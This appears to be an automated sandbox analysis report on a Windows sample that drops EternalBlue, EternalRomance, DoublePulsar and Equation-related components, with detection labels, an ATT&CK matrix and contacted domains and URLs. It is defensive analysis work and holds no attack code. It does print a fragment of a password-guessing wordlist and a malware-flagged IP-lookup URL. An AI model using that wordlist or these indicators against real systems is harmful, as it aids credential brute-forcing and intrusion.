Static PE information: Raw size of UPX1 is bigger than: 0x100000 < 0x330000

Source:	Binary string: C:\DLL\Dll\x64\Release\Dll.pdb source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\DLL\Dll\Release\Dll.pdb source: exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\GetPassword-master\x64\Release\GetPassword.pdb source: exe3.bin.bak.exe

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0042F930 GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,

0_2_0042F930

Source: x64.dll.0.dr

Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0049C694 push eax; ret	0_2_0049C6B2
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0057C89D push ecx; ret	0_2_0057C8B0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004C8C10 push eax; ret	0_2_004C8C2E
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0057D036 push ecx; ret	0_2_0057D049
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004C91B8 push eax; ret	0_2_004C91E6
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0049A450 push eax; ret	0_2_0049A47E
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_005D7060 push ecx; ret	0_2_005D7073

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\dmgd-4.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\libxml2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\ssleay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\Wmicc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\tibe-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\x86.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\crli-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\tucl-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\exma-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\libeay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\coli-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\ucl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\xdvl-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\cnli-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\trch-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\trfo-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	File created: C:\Users\user\Desktop\posh-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_00498A70 IsIconic,GetWindowPlacement,GetWindowRect,		0_2_00498A70
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0042E340 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,		0_2_0042E340

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dmgd-4.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zlib1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\libxml2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ssleay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Wmicc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tibe-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\x86.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\crli-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tucl-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\exma-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\x64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\coli-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\libeay32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ucl.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\xdvl-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cnli-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\trch-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\trfo-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\posh-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

API coverage: 5.0 %

Source: C:\Users\user\Desktop\exe3.bin.bak.exe TID: 4916	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\exe3.bin.bak.exe TID: 2100	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004385B0 FindFirstFileA,FindClose,	0_2_004385B0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004207C0 FindFirstFileA,FindClose,	0_2_004207C0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004AA9D0 __EH_prolog,GetFullPathNameA,lstrcpyn,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpy,	0_2_004AA9D0
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004300A0 FindNextFileA,FindClose,FindFirstFileA,FindClose,	0_2_004300A0

Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMware1!
Source: exe3.bin.bak.exe	Binary or memory string: Tr1234 Trabant123456! Ts123456 Tt123456 Tx123 Tyco0101 Tysadmin123!@# U_tywg_2008 User1234 Uwert1986 V@1bv2z7 VMware1! WEIge@123 WIZLAB WPxJGizeI8w Wdce2015guoqing70 Wdce2018chunjie@215 Welcome1 Welcome123 Welcome123! Welcome1234 Welcome13
Source: exe3.bin.bak.exe, 00000000.00000003.2275482893.0000000000E31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0042F930 GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,

0_2_0042F930

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0058AC84 mov eax, dword ptr fs:[00000030h]

0_2_0058AC84

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_00455D50 GetProcessHeap,OleInitialize,GetModuleFileNameA,SetCurrentDirectoryA,LoadCursorA,GetStockObject,GetCurrentThreadId,

0_2_00455D50

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004A4FC2 SetUnhandledExceptionFilter,		0_2_004A4FC2
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_004A4FD4 SetUnhandledExceptionFilter,		0_2_004A4FD4

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: C:\Users\user\Desktop\Wmicc.exe, type: DROPPED

Source: exe3.bin.bak.exe, 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: DOF_PROGMAN

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_0057CC8C cpuid

0_2_0057CC8C

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_004A523C GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_004A523C

Source: C:\Users\user\Desktop\exe3.bin.bak.exe

Code function: 0_2_004B4585 GetVersion,GetProcessVersion,LoadCursorA,LoadCursorA,LoadCursorA,

0_2_004B4585

Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0047CB60 socket,htons,bind,closesocket,listen,closesocket,		0_2_0047CB60
Source: C:\Users\user\Desktop\exe3.bin.bak.exe	Code function: 0_2_0047D250 socket,htonl,htons,bind,closesocket,		0_2_0047D250

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	31 Obfuscated Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Access Token Manipulation	1 Software Packing	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Process Injection	1 DLL Side-Loading	NTDS	1 Network Share Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
exe3.bin.bak.exe	88%	ReversingLabs	Win32.Adware.Multiverze
exe3.bin.bak.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\tibe-2.dll	100%	Avira	TR/Agent.psvbt
C:\Users\user\Desktop\ssleay32.dll	100%	Avira	TR/ShadowBrokers.bdfta
C:\Users\user\Desktop\ucl.dll	100%	Avira	TR/ShadowBrokers.ymgcm
C:\Users\user\Desktop\libxml2.dll	100%	Avira	TR/Eqtonex.hjsmv
C:\Users\user\Desktop\cnli-1.dll	100%	Avira	EXP/Equation.H
C:\Users\user\Desktop\trch-1.dll	100%	Avira	TR/ShadowBrokers.uqihx
C:\Users\user\Desktop\exma-1.dll	100%	Avira	TR/Equation.DC
C:\Users\user\Desktop\tucl-1.dll	100%	Avira	TR/Agent.bbyeq
C:\Users\user\Desktop\posh-0.dll	100%	Avira	TR/Eqtonex.qkzfk
C:\Users\user\Desktop\libeay32.dll	100%	Avira	TR/Agent.xdwkx
C:\Users\user\Desktop\Eternalromance-1.4.0.exe	100%	Avira	TR/ShadowBrokers.D
C:\Users\user\Desktop\crli-0.dll	100%	Avira	TR/ShadowBrokers.xvdds
C:\Users\user\Desktop\trfo-2.dll	100%	Avira	TR/ShadowBrokers.ncsiv
C:\Users\user\Desktop\xdvl-0.dll	100%	Avira	TR/ShadowBrokers.ertvh
C:\Users\user\Desktop\coli-0.dll	100%	Avira	TR/Agent.mewnz
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	100%	Avira	TR/Eqtonex.DG
C:\Users\user\Desktop\Wmicc.exe	100%	Avira	HEUR/AGEN.1340376
C:\Users\user\Desktop\x86.dll	100%	Avira	TR/Dldr.Small.deapl
C:\Users\user\Desktop\dmgd-4.dll	100%	Avira	TR/ShadowBrokers.gzfza
C:\Users\user\Desktop\zlib1.dll	100%	Avira	TR/Equation.D
C:\Users\user\Desktop\x64.dll	100%	Avira	HEUR/AGEN.1301099
C:\Users\user\Desktop\Eternalblue-2.2.0.exe	100%	Avira	TR/AD.EquationDrug.sbeor
C:\Users\user\Desktop\cnli-1.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\exma-1.dll	100%	Joe Sandbox ML
C:\Users\user\Desktop\Wmicc.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\Eternalblue-2.2.0.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\Doublepulsar-1.3.1.exe	93%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\Eternalblue-2.2.0.exe	100%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\Eternalromance-1.4.0.exe	96%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\Wmicc.exe	92%	ReversingLabs	Win32.Hacktool.Multiverze
C:\Users\user\Desktop\cnli-1.dll	95%	ReversingLabs	Win32.Trojan.Equation
C:\Users\user\Desktop\coli-0.dll	96%	ReversingLabs	Win32.Trojan.Equated
C:\Users\user\Desktop\crli-0.dll	92%	ReversingLabs	Win32.Trojan.Equation
C:\Users\user\Desktop\dmgd-4.dll	92%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\exma-1.dll	96%	ReversingLabs	Win32.Trojan.Equation
C:\Users\user\Desktop\libeay32.dll	92%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\libxml2.dll	92%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\posh-0.dll	92%	ReversingLabs	Win32.Trojan.Eqtonex
C:\Users\user\Desktop\ssleay32.dll	92%	ReversingLabs	Win32.Exploit.ShadowBrokers
C:\Users\user\Desktop\tibe-2.dll	96%	ReversingLabs	Win32.Trojan.Equated
C:\Users\user\Desktop\trch-1.dll	92%	ReversingLabs	Win32.Trojan.Equated
C:\Users\user\Desktop\trfo-2.dll	100%	ReversingLabs	Win32.Trojan.Equation
C:\Users\user\Desktop\tucl-1.dll	92%	ReversingLabs	Win32.Trojan.Equated
C:\Users\user\Desktop\ucl.dll	92%	ReversingLabs	Win32.Trojan.Equation
C:\Users\user\Desktop\x64.dll	79%	ReversingLabs	Win64.Backdoor.Meterpreter
C:\Users\user\Desktop\x86.dll	92%	ReversingLabs	Win32.Trojan.Whispergate
C:\Users\user\Desktop\xdvl-0.dll	96%	ReversingLabs	Win32.Trojan.Equation
C:\Users\user\Desktop\zlib1.dll	96%	ReversingLabs	Win32.Exploit.ShadowBrokers

Source	Detection	Scanner	Label
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://www.zlib.net/D	0%	Avira URL Cloud	safe
http://www.openssl.org/V	0%	Avira URL Cloud	safe
http://members.3322.org/dyndns/getip	100%	Avira URL Cloud	malware
http://www.cip.cc	0%	Avira URL Cloud	safe
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting	0%	Avira URL Cloud	safe
http://Down.ftp2Z	0%	Avira URL Cloud	safe
http://www.zlib.net/	0%	Avira URL Cloud	safe
http://2024.ip138.com	0%	Avira URL Cloud	safe
http://ip.360.cn/IPShare/info	0%	Avira URL Cloud	safe
http://&co=&resource_id=6006&oe=utf8/api.php?query=	0%	Avira URL Cloud	safe
http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng	0%	Avira URL Cloud	safe
http://www.openssl.org/	0%	Avira URL Cloud	safe
http://Down.ftp2	0%	Avira URL Cloud	safe
http://relaxng.org/ns/structure/1.0	0%	Avira URL Cloud	safe
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd	0%	Avira URL Cloud	safe
http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc	0%	Avira URL Cloud	safe
http://purl.oclc.org/dsdl/schematron	0%	Avira URL Cloud	safe
http://118.184.169.48/dyndns/getip	0%	Avira URL Cloud	safe
http://www.oberhumer.com	0%	Avira URL Cloud	safe
http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating	0%	Avira URL Cloud	safe
http://members.3322.org/dyndns/getiptaskkill	0%	Avira URL Cloud	safe
http://www.ascc.net/xml/schematron	0%	Avira URL Cloud	safe
http://relaxng.org/ns/structure/1.0allocating	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
open.a.shifen.com	45.113.194.189	true	false	unknown
members.3322.net	118.184.169.48	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
opendata.baidu.com	unknown	unknown	true	unknown
members.3322.org	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://members.3322.org/dyndns/getip	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://Down.ftp2Z	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zlib.net/	exe3.bin.bak.exe	false	Avira URL Cloud: safe	unknown
http://2024.ip138.com	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/V	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zlib.net/D	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://&co=&resource_id=6006&oe=utf8/api.php?query=	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cip.cc	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.360.cn/IPShare/info	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/	exe3.bin.bak.exe	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://Down.ftp2	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://118.184.169.48/dyndns/getip	exe3.bin.bak.exe, 00000000.00000003.2275482893.0000000000E09000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://relaxng.org/ns/structure/1.0	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://purl.oclc.org/dsdl/schematron	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.oberhumer.com	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://members.3322.org/dyndns/getiptaskkill	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ascc.net/xml/schematron	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	exe3.bin.bak.exe, exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://relaxng.org/ns/structure/1.0allocating	exe3.bin.bak.exe, 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.21.179
192.168.21.178
192.168.21.177
192.168.21.176
192.168.12.127
192.168.12.128
192.168.12.129
192.168.12.123
192.168.21.182
192.168.12.124
192.168.21.181
192.168.12.125
192.168.21.180
192.168.12.126
192.168.21.186
192.168.12.120
192.168.21.185
192.168.12.121
192.168.21.184
192.168.12.122
192.168.21.183
192.168.21.168
192.168.21.167
192.168.21.166
192.168.21.165
192.168.21.169
192.168.12.116
192.168.12.117
192.168.12.118
192.168.12.119
192.168.12.112
192.168.21.171
192.168.12.113
192.168.21.170
192.168.12.114
192.168.12.115
192.168.21.175
192.168.21.174
192.168.12.110
192.168.21.173
192.168.12.111
192.168.21.172
192.168.21.199
192.168.21.198
192.168.12.109
192.168.12.105
192.168.12.106
192.168.12.107
192.168.12.108
192.168.12.101
192.168.12.102
192.168.12.103
192.168.12.104
192.168.12.100
192.168.21.189
192.168.21.188
192.168.21.187
192.168.21.193
192.168.21.192
192.168.21.191
192.168.21.190
192.168.21.197
192.168.21.196
192.168.21.195
192.168.21.194
192.168.21.135
192.168.21.134
192.168.21.133
192.168.21.132
192.168.21.139
192.168.21.138
192.168.21.137
192.168.21.136
192.168.21.142
192.168.21.141
192.168.21.140
192.168.21.124
192.168.21.123
192.168.21.122
192.168.21.121
192.168.21.128
192.168.21.127
192.168.21.126
192.168.21.125
192.168.21.129
192.168.21.131
192.168.21.130
192.168.21.157
192.168.21.156
192.168.21.155
192.168.21.154
192.168.21.159
192.168.21.158
192.168.21.160
192.168.21.164
192.168.21.163
192.168.21.162
192.168.21.161
192.168.21.146
192.168.21.145

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1468523
Start date and time:	2024-07-06 14:10:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	exe3.bin.bak.exe
Detection:	MAL
Classification:	mal100.rans.troj.expl.evad.winEXE@2/26@2/100
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 45 Number of non-executed functions: 253
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 217.20.57.18, 192.229.221.95, 2.19.126.137
